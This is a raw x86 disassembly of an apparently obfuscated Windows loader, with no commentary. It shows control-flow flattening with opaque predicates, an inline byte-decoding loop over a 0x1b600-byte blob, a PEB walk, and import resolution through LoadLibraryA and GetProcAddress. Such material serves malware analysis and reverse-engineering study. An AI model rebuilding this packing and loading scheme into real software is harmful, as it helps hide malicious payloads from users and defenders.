mov eax, dword [0x4813cc]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xe8c91c09
jmp 0x40649f
cmp eax, 0x4b3b21ec
jg 0x404b26
cmp eax, 0x49404c6a
je 0x405d81
cmp eax, 0x49ed784d
jne 0x402690
mov eax, dword [0x4813d0]
mov esi, 0xcd66ca8
mov edi, 0xffb26980
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xffb26980
jmp 0x402668
cmp eax, 0xced1b7a8
jg 0x404b4f
cmp eax, 0xcdeff2db
je 0x405d8b
cmp eax, 0xce890b19
jne 0x402690
mov eax, dword [ebp - 0x70]
mov edi, 0xf49394b0
mov ebx, 0x4d8132e6
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4d8132e6
jmp 0x4064e1
cmp eax, 0x23df6949
jg 0x404be7
cmp eax, 0x2239fc99
je 0x405d95
cmp eax, 0x2314f69e
jne 0x402690
mov eax, dword [ebp - 0x24]
mov ecx, 0x40000000
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x110], eax
mov eax, 0x62754527
jmp 0x402690
cmp eax, 0xab177e57
jg 0x404c31
cmp eax, 0xaa05db69
je 0x405dc9
cmp eax, 0xaad926e0
jne 0x402690
mov eax, 0x2e76327c
jmp 0x402690
cmp eax, 0x639f620b
jg 0x404c57
cmp eax, 0x62754527
je 0x405e11
cmp eax, 0x62c007c8
jne 0x402690
mov eax, 0x12c8c48d
jmp 0x402690
cmp eax, 0xeb3730cd
jg 0x404c93
cmp eax, 0xe95903dc
je 0x405e44
cmp eax, 0xea64f874
jne 0x402690
mov eax, 0xb322e1a
jmp 0x402690
cmp eax, 0xb300bec
jg 0x404cc7
cmp eax, 0xa777933
je 0x405e67
cmp eax, 0xada9f58
jne 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0x667de60c
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf7c99816
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x1c]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x13c], ecx
jmp 0x402690
cmp eax, 0x94e17c8f
je 0x405e71
cmp eax, 0x96d117f8
jne 0x402690
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x1ac], eax
mov eax, 0xfbcfa6b5
jmp 0x402690
cmp eax, 0x576d4baf
je 0x405e87
cmp eax, 0x578a297f
jne 0x402690
mov eax, dword [0x4813d0]
mov esi, 0xe34ca15a
mov edi, 0x1d888336
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x1d888336
jmp 0x402668
cmp eax, 0xdd406b7f
je 0x405eca
cmp eax, 0xdd5c19b0
jne 0x402690
mov eax, 0x8669039d
jmp 0x402690
cmp eax, 0x317eeddd
je 0x405ed4
cmp eax, 0x31b05f34
jne 0x402690
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0xf49aef2b
setne byte [ebp - 0x85]
jmp 0x402690
cmp eax, 0xb8cc281f
je 0x405ede
cmp eax, 0xb9ea5c37
jne 0x402690
mov eax, dword [ebp - 0x58]
mov edi, 0x98478cea
mov ebx, 0x75eb0fae
mov dword [eax], 0x40
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x194], eax
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x75eb0fae
jmp 0x4064e1
cmp eax, 0x704db5e5
je 0x405f0c
cmp eax, 0x70c9fcc2
jne 0x402690
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x190], eax
mov eax, 0xd1349b9d
jmp 0x402690
cmp eax, 0xf70f9640
je 0x405f2a
cmp eax, 0xf7c99816
jne 0x402690
mov eax, dword [ebp - 0x1c]
mov eax, 0xada9f58
jmp 0x402690
cmp eax, 0x11ac71b2
je 0x405f3f
cmp eax, 0x12c8c48d
jne 0x402690
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x174], eax
mov eax, 0x25a20148
jmp 0x402690
cmp eax, 0x8724ba0b
je 0x405f49
cmp eax, 0x881a5fa7
jne 0x402690
mov eax, 0x6a89852a
jmp 0x402690
cmp eax, 0x5227a585
je 0x405f68
cmp eax, 0x531a921b
jne 0x402690
mov eax, dword [0x4813d0]
mov edi, 0x3789f3f5
mov esi, 0xe05c3e
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xe05c3e
jmp 0x406197
cmp eax, 0xd26ed788
je 0x405f88
cmp eax, 0xd2e6b362
jne 0x402690
mov eax, 0x215d1983
jmp 0x402690
cmp eax, 0x2818540a
je 0x405f92
cmp eax, 0x28f30e48
jne 0x402690
mov eax, dword [ebp - 0x190]
mov ecx, 0x6a1c1424
cmp eax, 0xc
mov eax, 0x78993e1c
cmove eax, ecx
jmp 0x402690
cmp eax, 0xaf2c2b1a
je 0x405fa2
cmp eax, 0xb0bb3b25
jne 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0xd4e94f1b
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x60f9b8f4
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0xec]
cmovge eax, edi
mov ecx, dword [ecx]
mov dword [ebp - 0xf0], ecx
jmp 0x402690
cmp eax, 0x68ef2621
je 0x405fb8
cmp eax, 0x69b231a9
jne 0x402690
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xc0]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x148], eax
mov eax, 0xdea83ac0
jmp 0x402690
cmp eax, 0xefd6c1a0
je 0x405ff6
cmp eax, 0xf0c82def
jne 0x402690
movzx ecx, byte [ebp - 0x79]
movzx eax, byte [ebp - 0x7a]
mov edi, 0x2e76327c
mov edx, ecx
xor dl, al
mov edx, 0xaad926e0
cmovne edx, edi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmove eax, edx
jmp 0x402690
cmp eax, 0xd90b069
je 0x406035
cmp eax, 0xdbe83ab
jne 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0xb8cc281f
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x1e6e1496
jmp 0x4063a3
cmp eax, 0xa0e3e313
je 0x40603f
cmp eax, 0xa11cfc4a
jne 0x402690
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0x7fffffff
and ecx, eax
mov eax, 0x2c99d19a
mov dword [ebp - 0x1a0], ecx
jmp 0x402690
cmp eax, 0x5e6a71e9
je 0x406049
cmp eax, 0x5f4be343
jne 0x402690
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x188], eax
mov eax, 0xfea7102d
jmp 0x402690
cmp eax, 0xe34ca15a
je 0x40607d
cmp eax, 0xe4011e84
jne 0x402690
mov eax, 0xfcf1e636
jmp 0x402690
cmp eax, 0x3ae673c1
je 0x4060d5
cmp eax, 0x3d13d363
jne 0x402690
mov eax, dword [0x4813d0]
mov esi, 0xcdeff2db
mov edi, 0xa0e3e313
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xa0e3e313
jmp 0x402668
cmp eax, 0xbf2fabde
je 0x4060df
cmp eax, 0xbf85bc6d
jne 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x11ac71b2
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x45f8b854
jmp 0x40649f
cmp eax, 0x77226518
je 0x4060f2
cmp eax, 0x77c971dc
jne 0x402690
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0x120]
cmp ecx, eax
mov eax, 0x24a8122c
setl byte [ebp - 0x7d]
jmp 0x402690
cmp eax, 0xe05c3e
je 0x406117
cmp eax, 0x25c4d5c
jne 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x16806380
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x67048889
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x100]
cmovge ecx, edx
add eax, 8
mov dword [ebp - 0x170], eax
mov eax, ecx
jmp 0x402690
cmp eax, 0x1a58a9d6
je 0x40612d
cmp eax, 0x1b61e633
jne 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x74a1a16a
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xbde75c4
jmp 0x4063a3
cmp eax, 0x83769103
je 0x406143
cmp eax, 0x8527c53e
jne 0x402690
mov eax, 0x57394922
jmp 0x402690
cmp eax, 0x4b63fa9f
je 0x406175
cmp eax, 0x4c15ec14
jne 0x402690
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5c]
push 0x1b600
push 0x459286
push dword [ebp - 0x5c]
vzeroupper
call fcn.0043d7b0
add esp, 0xc
mov edx, dword [ebp - 0x5c]
mov eax, 0x61dbf55
nop word cs:[eax + eax]
cmp eax, 0xbad4ed3a
je 0x4061af
cmp eax, 0x61dbf55
jne 0x4043d0
mov dword [ebp - 0x14], 0x1b600
mov dword [ebp - 0x18], edx
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x4043f6
mov eax, 0xbad4ed3a
jmp 0x4043d0
cmp eax, 0xcff8247c
je 0x4061e6
cmp eax, 0xd07c3d55
jne 0x402690
mov eax, 0x179542cc
jmp 0x402690
cmp eax, 0x24a8122c
je 0x4061f0
cmp eax, 0x2551dd96
jne 0x402690
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, 0xcb25718e
jmp 0x402690
cmp eax, 0xac840c77
je 0x406206
cmp eax, 0xad49e84e
jne 0x402690
mov eax, dword [0x4813d0]
mov edi, 0x322efc3
mov ebx, 0x51383dff
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x51383dff
jmp 0x4064e1
cmp eax, 0x65174c67
je 0x406213
cmp eax, 0x6636ad66
jne 0x402690
mov eax, dword [0x4813d0]
mov esi, 0xede2b544
mov edi, 0xef76426
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xef76426
jmp 0x402668
cmp eax, 0xecb82f9f
je 0x40621d
cmp eax, 0xed2f029e
jne 0x402690
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10c]
mov eax, 0x10aece1b
jmp 0x402690
cmp eax, 0xbde75c4
je 0x406236
cmp eax, 0xc02cba6
jne 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0x881a5fa7
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xef6f3dd2
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x3c]
cmovge eax, edx
mov edx, 0x20c
mov ecx, dword [ecx]
movzx ecx, word [ecx]
bextr ecx, ecx, edx
mov dword [ebp - 0x154], ecx
jmp 0x402690
cmp eax, 0x9c82ea2b
je 0x406243
cmp eax, 0x9ca7d319
jne 0x402690
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xfd5c9d6
jmp 0x402690
cmp eax, 0x58d4d556
je 0x40624d
cmp eax, 0x5a36a4a4
jne 0x402690
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc0]
mov eax, 0x69b231a9
jmp 0x402690
cmp eax, 0xdf2dd17c
je 0x406260
cmp eax, 0xdfeb7c2e
jne 0x402690
cmp dword [ebp - 0x198], 0
mov eax, 0xdbe83ab
mov ecx, 0x5857789a
cmove eax, ecx
jmp 0x402690
cmp eax, 0x36ca31ad
je 0x4062a2
cmp eax, 0x36e098df
jne 0x402690
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x9c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*4]
mov ecx, dword [ebp - 0x44]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x54]
mov esi, 0xea64f874
mov dword [ecx], eax
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd8a31db
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x54]
cmovge ecx, edx
cmp dword [eax], 0
mov eax, ecx
setne byte [ebp - 0x82]
jmp 0x402690
cmp eax, 0xbaf3561c
je 0x4062ac
cmp eax, 0xbaf90f92
jne 0x402690
mov eax, dword [0x4813d0]
mov ebx, 0xad61ee8e
mov edi, 0xe5647ee5
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xe5647ee5
jmp 0x406010
cmp eax, 0x74a1a16a
je 0x402630
cmp eax, 0x75eb0fae
jne 0x402690
mov eax, dword [ebp - 0x58]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov eax, 0xb9ea5c37
jmp 0x402690
cmp eax, 0xfbe2db5f
je 0x4062b6
cmp eax, 0xfcf1e636
jne 0x402690
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, 0x36ca31ad
jmp 0x402690
cmp eax, 0x17344f80
je 0x4062d1
cmp eax, 0x179542cc
jne 0x402690
mov eax, dword [ebp - 0x78]
mov eax, 0x85db1b99
jmp 0x402690
cmp eax, 0x8bf3aa6c
je 0x4062e4
cmp eax, 0x8db3525a
jne 0x402690
mov eax, 0xa3f8b977
jmp 0x402690
cmp eax, 0x5597fcdf
je 0x4062fd
cmp eax, 0x56a01bc5
jne 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0x3d9bb288
mov esi, 0xdd5c19b0
jmp 0x405e9d
cmp eax, 0xd56a4ed2
je 0x406310
cmp eax, 0xd57ae30e
jne 0x402690
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, 0x7841e414
jmp 0x402690
cmp eax, 0x2ac9f9dc
je 0x40631a
cmp eax, 0x2c99d19a
jne 0x402690
cmp dword [ebp - 0x1a0], 0
mov eax, 0x5747fe6b
jmp 0x40585e
cmp eax, 0xb6e81509
je 0x406324
cmp eax, 0xb7c4723b
jne 0x402690
mov eax, dword [ebp - 0x48]
mov ebx, 0x7339fd39
mov edi, 0xc6e18dc4
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc6e18dc4
jmp 0x406018
cmp eax, 0x6a89852a
je 0x40634a
cmp eax, 0x6ac8e1b4
jne 0x402690
mov eax, dword [ebp - 0x2c]
mov dword [eax], 2
mov eax, 0xaa05db69
jmp 0x402690
cmp eax, 0xf44c4683
je 0x40635f
cmp eax, 0xf49394b0
jne 0x402690
mov eax, 0xb300bed
jmp 0x402690
cmp eax, 0xf518385
je 0x40636c
cmp eax, 0xf9d4367
jne 0x402690
mov eax, dword [ebp - 0xa0]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xa4]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
add eax, 8
mov dword [ebp - 0x1b8], eax
mov eax, 0xad7779a5
jmp 0x402690
cmp eax, 0xa6042957
je 0x4063bb
cmp eax, 0xa712bc48
jne 0x402690
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xd0]
add eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0x3a28aa78
jmp 0x402690
cmp eax, 0x6072d3a1
je 0x4063c5
cmp eax, 0x60a5e315
jne 0x402690
mov eax, dword [ebp - 0xf4]
mov esi, 0x6072d3a1
mov edi, 0xac679ad4
mov dword [ebp - 0x128], eax
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xac679ad4
jmp 0x404dd5
cmp eax, 0xe5647ee5
je 0x4063cf
cmp eax, 0xe5b2d02e
jne 0x402690
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x48]
inc eax
mov dword [ecx], eax
mov eax, 0x5e4b13d6
jmp 0x402690
cmp eax, 0x428cc3c6
je 0x4063d9
cmp eax, 0x432c5eac
jne 0x402690
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x17c], eax
mov eax, 0x92141e0a
jmp 0x402690
cmp eax, 0xc36f92a9
je 0x4063e9
cmp eax, 0xc3fe2fad
jne 0x402690
cmp byte [ebp - 0x86], 0
mov eax, 0x2314f69e
mov ecx, 0x9ff75993
cmovne eax, ecx
jmp 0x402690
cmp eax, 0x7964aad0
je 0x40642d
cmp eax, 0x79ed2a69
jne 0x402690
mov eax, dword [ebp - 0x58]
mov dword [eax], 2
mov eax, 0xab177e58
jmp 0x402690
cmp eax, 0x38f8d40
je 0x406437
cmp eax, 0x4f17a9f
jne 0x402690
mov eax, dword [ebp - 0xe4]
mov eax, 0x2239fc99
jmp 0x402690
cmp eax, 0x1e6e1496
je 0x406447
cmp eax, 0x205caa8a
jne 0x402690
mov eax, dword [0x4813d0]
mov ebx, 0xc0f14836
mov edi, 0x5dd937bb
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x5dd937bb
jmp 0x406018
cmp eax, 0x81d8663a
je 0x406454
cmp eax, 0x82eaf6ac
jne 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0xcf2169ab
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd5629ab
jmp 0x4063a3
cmp eax, 0x4b3b21ed
je 0x40645e
cmp eax, 0x4b508fd6
jne 0x402690
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xd
mov eax, 0xdffb2243
jmp 0x402690
cmp eax, 0xced1b7a9
je 0x406468
cmp eax, 0xcf2169ab
jne 0x402690
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
add eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x90]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x44]
mov edi, 0x185854e7
mov dword [ecx], eax
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd5629ab
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x44]
cmovge ecx, edx
cmp dword [eax], 0
mov eax, ecx
setne byte [ebp - 0x81]
jmp 0x402690
cmp eax, 0x23df694a
je 0x406472
cmp eax, 0x23f71e07
jne 0x402690
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
mov edi, 0xb85d7370
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xde99f42b
jmp 0x405984
cmp eax, 0xab177e58
je 0x4064b6
cmp eax, 0xac679ad4
jne 0x402690
mov eax, dword [ebp - 0xf4]
mov eax, 0x60a5e315
jmp 0x402690
cmp eax, 0x639f620c
je 0x406500
cmp eax, 0x63f6809d
jne 0x402690
mov eax, dword [0x4813d0]
mov esi, 0x81d8663a
mov edi, 0x72425a09
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x72425a09
jmp 0x402668
cmp eax, 0xeb3730ce
je 0x406510
cmp eax, 0xeba6eadf
jne 0x402690
mov eax, dword [ebp - 0x158]
add eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0xf8]
mov dword [ecx], eax
mov eax, 0x29b67986
jmp 0x402690
cmp eax, 0xb300bed
je 0x406532
cmp eax, 0xb322e1a
jne 0x402690
cmp byte [ebp - 0x82], 0
mov eax, 0xfbe2db5f
mov ecx, 0x5f4be343
cmovne eax, ecx
jmp 0x402690
mov eax, 0x546aa7fd
jmp 0x402690
mov eax, dword [ebp - 0xbc]
mov eax, 0xbf85bc6d
jmp 0x402690
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x3c]
mov edi, 0xe465e5f8
mov esi, 0x58d4d556
mov ecx, dword [ecx]
movzx ecx, word [ecx]
mov edx, ecx
xor edx, 0xfffff000
and edx, ecx
movzx ecx, dx
add ecx, dword [eax]
mov dword [ebp - 0xf8], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x15c], eax
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x58d4d556
jmp 0x406197
cmp byte [ebp - 0x7f], 0
mov eax, 0x29b67986
mov ecx, 0x3dc7142f
cmovne eax, ecx
jmp 0x402690
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xc
mov eax, 0xdd278b34
jmp 0x402690
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xf0]
mov eax, 0xb85d7370
jmp 0x402690
mov eax, dword [ebp - 0x24]
mov eax, 0x76856233
jmp 0x402690
mov eax, dword [0x4813d0]
mov esi, 0xba5661bb
mov edi, 0x4c15ec14
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4c15ec14
sete cl
cmove eax, esi
cmp dword [0x4813cc], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, esi
jmp 0x402690
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x34]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5c]
push 0x1b600
push 0x459286
push dword [ebp - 0x5c]
vzeroupper
call fcn.0043d7b0
add esp, 0xc
mov edx, dword [ebp - 0x5c]
mov eax, 0x61dbf55
nop dword [eax + eax]
cmp eax, 0xbad4ed3a
je 0x406563
cmp eax, 0x61dbf55
jne 0x404eb0
mov dword [ebp - 0x14], 0x1b600
mov dword [ebp - 0x18], edx
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x404ed6
mov eax, 0xbad4ed3a
jmp 0x404eb0
mov eax, 0xd2e6b362
jmp 0x402690
mov eax, 0x63f6809d
jmp 0x402690
mov eax, 0x77c971dc
jmp 0x402690
mov eax, 0xe6686ac
jmp 0x402690
mov eax, dword [0x4813d0]
mov edi, 0xf518385
mov ebx, 0x35f7d359
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x35f7d359
jmp 0x4064e1
mov eax, dword [ebp - 0x3c]
